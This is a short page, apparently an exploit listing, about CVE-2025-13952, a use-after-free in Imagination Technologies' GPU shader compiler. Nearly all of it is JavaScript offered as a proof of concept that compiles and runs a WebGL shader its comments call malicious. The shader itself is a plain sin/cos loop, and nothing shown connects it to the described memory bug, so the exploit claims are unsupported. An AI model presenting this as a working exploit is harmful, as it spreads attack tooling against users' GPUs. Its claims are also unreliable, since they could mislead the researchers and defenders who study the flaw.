CVE-2025-13952: Imagination Technologies GPU Shader编译器释放后重用漏洞

// CVE-2025-13952 PoC - Malicious WebGL Shader Code // This PoC demonstrates the GPU shader compiler vulnerability // Note: This is for educational and security research purposes only const gl = document.createElement('canvas').getContext('webgl'); // Fragment shader designed to trigger the use-after-free condition // in Imagination Technologies GPU shader compiler const fragmentShaderSource = ` precision highp float; void main() { // Crafted shader code that triggers the vulnerable code path // in the GPU shader compiler where an outdated pointer is retained vec4 color = vec4(0.0); // These operations trigger the compiler path that holds onto // a pointer to a freed memory object for(int i = 0; i < 10; i++) { color += vec4(float(i) * 0.1); // Complex shader operations that expose the memory management bug color = sin(color) * cos(color); } gl_FragColor = color; } `; const vertexShaderSource = ` attribute vec4 position; void main() { gl_Position = position; } `; function createShader(gl, type, source) { const shader = gl.createShader(type); gl.shaderSource(shader, source); gl.compileShader(shader); return shader; } // Trigger the vulnerability by loading the malicious shader const fragmentShader = createShader(gl, gl.FRAGMENT_SHADER, fragmentShaderSource); const vertexShader = createShader(gl, gl.VERTEX_SHADER, vertexShaderSource); // Create and link the program - this is where the compiler processes the shader const program = gl.createProgram(); gl.attachShader(program, vertexShader); gl.attachShader(program, fragmentShader); gl.linkProgram(program); gl.useProgram(program); // Draw to trigger shader execution gl.drawArrays(gl.TRIANGLES, 0, 3);